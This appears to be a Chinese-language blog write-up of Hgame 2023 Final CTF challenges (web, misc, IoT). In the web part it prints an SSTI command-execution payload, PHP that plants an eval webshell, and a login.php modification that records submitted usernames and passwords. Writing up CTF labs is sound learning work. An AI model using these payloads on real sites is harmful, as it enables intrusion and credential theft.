Hgame Final

Hgame 2023 Final

Posted by JBNRZ on 2023-03-13
Estimated Reading Time 4 Minutes
Words 878 In Total
Viewed Times

Web

Final Flask

题解

  1. 常规ssti
1
{{url_for.__globals__['os'].popen('/readflag').read()}}

PHP-Blog

题解

  1. 登陆admin,可以同过创建新文章的方式写入一句话木马
1
<?php system('echo "<?php eval(\$_POST[\'cmd\']); ?>" > test.php') ?>
  1. test.php 蚁剑连接
  2. 跟据题目描述,将会存在一个用户进行登陆行为,我们修改login.php,记录登陆的账号密码
1
file_put_contents('./password', $_POST['username'].' '.$_POST['password']);
  1. flag
1
hgame{n1nj4,Y0ur_w3bs1t3_h4s_b33n_h4ck3d!}

Misc

锟斤拷

题解

  1. 解base64,得到乱码,在线解码

no_title

题解

  1. 得到压缩包,文件名为:籽籸籭籪粂籨籲籼籨籪籨籰籸籸籭籨籭籪粂籨籃簲
  2. 爆破得到密码
1
2
3
4
a = '籽籸籭籪粂籨籲籼籨籪籨籰籸籸籭籨籭籪粂籨籃簲'
a = [hex(ord(i)) for i in a]

# ['0x7c7d', '0x7c78', '0x7c6d', '0x7c6a', '0x7c82', '0x7c68', '0x7c72', '0x7c7c', '0x7c68', '0x7c6a', '0x7c68', '0x7c70', '0x7c78', '0x7c78', '0x7c6d', '0x7c68', '0x7c6d', '0x7c6a', '0x7c82', '0x7c68', '0x7c43', '0x7c32']
  1. 观察发现都以 0x7c 开头,尝试爆破原文
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
for i in  range(50):
print(bytes([int(_, 16) - i for _ in a]))

"""
b'}xmj\x82hr|hjhpxxmhmj\x82hC2'
b'|wli\x81gq{gigowwlgli\x81gB1'
b'{vkh\x80fpzfhfnvvkfkh\x80fA0'
b'zujg\x7feoyegemuujejg\x7fe@/'
b'ytif~dnxdfdlttidif~d?.'
b'xshe}cmwcecksshche}c>-'
b'wrgd|blvbdbjrrgbgd|b=,'
b'vqfc{akuacaiqqfafc{a<+'
b'upebz`jt`b`hppe`ebz`;*'
b'today_is_a_good_day_:)'
b'snc`x^hr^`^fnnc^c`x^9('
b"rmb_w]gq]_]emmb]b_w]8'"
b'qla^v\\fp\\^\\dlla\\a^v\\7&'
b'pk`]u[eo[][ckk`[`]u[6%'
b'oj_\\tZdnZ\\Zbjj_Z_\\tZ5$'
b'ni^[sYcmY[Yaii^Y^[sY4#'
b'mh]ZrXblXZX`hh]X]ZrX3"'
b'lg\\YqWakWYW_gg\\W\\YqW2!'
b'kf[XpV`jVXV^ff[V[XpV1 '
b'jeZWoU_iUWU]eeZUZWoU0\x1f'
b'idYVnT^hTVT\\ddYTYVnT/\x1e'
b'hcXUmS]gSUS[ccXSXUmS.\x1d'
b'gbWTlR\\fRTRZbbWRWTlR-\x1c'
b'faVSkQ[eQSQYaaVQVSkQ,\x1b'
b'e`URjPZdPRPX``UPURjP+\x1a'
b'd_TQiOYcOQOW__TOTQiO*\x19'
b'c^SPhNXbNPNV^^SNSPhN)\x18'
b'b]ROgMWaMOMU]]RMROgM(\x17'
b"a\\QNfLV`LNLT\\\\QLQNfL'\x16"
b'`[PMeKU_KMKS[[PKPMeK&\x15'
b'_ZOLdJT^JLJRZZOJOLdJ%\x14'
b'^YNKcIS]IKIQYYNINKcI$\x13'
b']XMJbHR\\HJHPXXMHMJbH#\x12'
b'\\WLIaGQ[GIGOWWLGLIaG"\x11'
b'[VKH`FPZFHFNVVKFKH`F!\x10'
b'ZUJG_EOYEGEMUUJEJG_E \x0f'
b'YTIF^DNXDFDLTTIDIF^D\x1f\x0e'
b'XSHE]CMWCECKSSHCHE]C\x1e\r'
b'WRGD\\BLVBDBJRRGBGD\\B\x1d\x0c'
b'VQFC[AKUACAIQQFAFC[A\x1c\x0b'
b'UPEBZ@JT@B@HPPE@EBZ@\x1b\n'
b'TODAY?IS?A?GOOD?DAY?\x1a\t'
b'SNC@X>HR>@>FNNC>C@X>\x19\x08'
b'RMB?W=GQ=?=EMMB=B?W=\x18\x07'
b'QLA>V<FP<><DLLA<A>V<\x17\x06'
b'PK@=U;EO;=;CKK@;@=U;\x16\x05'
b'OJ?<T:DN:<:BJJ?:?<T:\x15\x04'
b'NI>;S9CM9;9AII>9>;S9\x14\x03'
b'MH=:R8BL8:8@HH=8=:R8\x13\x02'
b'LG<9Q7AK797?GG<7<9Q7\x12\x01'
"""
  1. 得到密码
1
today_is_a_good_day_:)
  1. 解压得到一张图片,发现可以变为一个正方形,写脚本
1
2
3
4
5
6
7
8
9
10
11
from PIL import Image


file = Image.open('test5.png')
a = 1280
for i in range(a):
for j in range(a):
b = file.getpixel((j, i))[0]
if b == 255:
b = 1
print(b, end='')
  1. 得到一张二维码,扫码得到一张图片,在 r0 通道发现三个定位块
  2. 将其保存,与原图进行叠加,扫描得到flag

Iot

BLE

题解

  1. 安装Bluetooth LE Exploer
  2. 连接蓝牙,读取内容,得知需要发送 times
  3. 发送times,得到flag

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !